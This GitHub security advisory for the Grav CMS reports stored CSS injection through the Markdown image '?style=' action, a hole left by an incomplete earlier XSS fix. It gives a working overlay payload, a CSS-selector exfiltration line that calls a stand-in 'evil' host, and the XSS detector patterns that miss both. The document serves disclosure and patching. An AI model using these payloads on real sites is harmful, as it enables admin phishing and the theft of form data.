GHSA-pmf8-g7c8-7v54 Grav: Stored CSS injection via Markdown image ?style=… reaches MediaObjectTrait::style() — incomplete patch of GHSA-r7fx-8g49-7hhr
SummaryThe fix for **GHSA-r7fx-8g49-7hhr / CVE-2026-42841** (Stored XSS via Markdown media `attribute()` action) is incomplete. The maintainer patched `MediaObjectTrait::attribute()` to deny dangerous attribute names (event handlers, `style`, `xmlns`, `srcdoc`, `formaction`) but the sibling `MediaObjectTrait::style()` method is reachable through the **same Markdown excerpt-action pipeline** and writes editor-controlled strings straight into the rendered `<img style="…">` attribute with **no sanitization**.Any user with `admin.pages` permission (e.g. an editor) can save Markdown like:which renders to a stored-CSS payload that any higher-privileged viewer (administrator, super-admin, reviewer) loads in their authenticated session. Same trust boundary, same victim, same attacker, same Markdown input vector as the patched GHSA-r7fx-8g49-7hhr issue — the fix simply patched the `attribute()` entry point and missed the `style()` sibling.Affected versionsVulnerable at HEAD across every currently-shipping branch (verified 2026-06-15):| Branch / tag | `MediaObjectTrait::style()` |
|---|---|
| `develop` (`f4c0f42`) | unpatched |
| `2.0` (`96e1d2d`) | unpatched |
| `2.0.0-rc.8` (latest 2.0 RC tag) | unpatched |
| `1.7.52` (latest 1.7 stable) | unpatched |Per `SECURITY.md`, this advisory targets the **2.0 line** (publisher-level exploit, not eligible for 1.7 backport per the project's stated policy).Trust boundaryPer the project's `SECURITY.md`:A vulnerability is when an actor can **escape the trust scope of their role**: a publisher whose stored content compromises an admin session, an unauthenticated visitor who reaches a privileged sink, an account at any tier that gains capabilities it was not granted.An editor authoring Markdown is operating within their role. A higher-privilege admin loading that editor's page in their authenticated session and getting attacker-controlled CSS painted into their browser is **across the trust boundary** — the same framing that was accepted for GHSA-r7fx-8g49-7hhr (MODERATE) and GHSA-c2q3-p4jr-c55f (MODERATE).DetailsOriginal GHSA-r7fx-8g49-7hhr fix (commit `5a12f9be8`, 2026-04-23)`style` is the **second-named entry** on the denylist — the maintainer explicitly recognised that editor-supplied `style` was dangerous when arriving via the `attribute()` action. The fix simply didn't reach the parallel sink.The unpatched sibling: `MediaObjectTrait::style()` (line 519)The function is unchanged before, during, and after the GHSA-r7fx-8g49-7hhr fix. The PHPDoc on the very next line names the Markdown invocation form (`?style=…`). The `rtrim` is for clean concatenation, not security.`$styleAttributes` is concatenated and assigned to `attributes['style']` in `parsedownElement()` (lines 242–251):Parsedown then runs `htmlspecialchars` on the value (so quote-breakout into a new attribute is blocked), but arbitrary CSS as the value is enough.Source → sink traceThe Markdown processor wires query-string keys to method calls on the `Medium` object (`system/src/Grav/Common/Page/Markdown/Excerpts.php:262`):`?style=position:fixed;top:0;left:0` becomes `$medium->style('position:fixed;top:0;left:0')`.Save-side XSS detector misses the payload`AdminController::savePage()` runs `Security::detectXssFromArray()` on `data[content]` before persisting (`classes/plugin/AdminController.php:1402`). All five default patterns miss the Markdown form:`on_events`: requires `<…on*=` in source.`invalid_protocols`: requires `javascript:`/`data:`/etc. — the phishing-overlay payload uses none.`moz_binding`: requires `-moz-binding:` literally.`html_inline_styles`: requires `<…style=…(url:|x:expression)`; Markdown source has no `<` and no `url:`.`dangerous_tags`: requires `<svg`/`<script`/etc.Save proceeds, the payload persists, the CSS is rendered to every viewer.Impact**Phishing overlay** — full-viewport `position:fixed` covering the admin UI with attacker-controlled background/content; admin clicks intended actions into the attacker's overlay.**UI redress / clickjacking** — invisible overlays hijacking admin button clicks.**CSS-selector data exfiltration** — `input[value^="a"] { background: url(//evil/log?c=a) }` against form fields the higher-privileged viewer interacts with.**Persistent admin-UI denial-of-service** — `position:fixed; background:white` covers the page until the offending content is removed by hand on the server.The stored payload reaches every user who views the editor's page — including administrators previewing pending changes.Proof of conceptA deterministic end-to-end PoC against a real Grav install ships with the finding (`repro.sh`). Steps:Log in as an editor (`admin.pages` + `admin.pages.update`, no `admin.super`).Upload a benign image to a target page.Save the page with the Markdown payload `![alt](image?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999)`.Visit the public page; observe the `<img style="…">` carrying the unsanitised CSS.Suggested fixApply the same denylist + identifier-shape gate to `style()` that `isSafeAttributeName()` enforces for `attribute()`:Alternatively, deprecate the Markdown `?style=…` action entirely — themes can still set inline styles from PHP, but accepting attacker-controlled CSS from page content was always a footgun.Defense in depth: extend `Security::detectXss()`'s `html_inline_styles` rule to also match Markdown-form `?style=` query parameters in `data[content]` on save.ReferencesOriginal advisory: GHSA-r7fx-8g49-7hhrFix commit: `5a12f9be8` (`system/src/Grav/Common/Media/Traits/MediaObjectTrait.php`)Unpatched code: `system/src/Grav/Common/Media/Traits/MediaObjectTrait.php` lines 519–524Project security policy: `SECURITY.md` (trust-boundary severity model)
CVSS v3.1 score: 4.8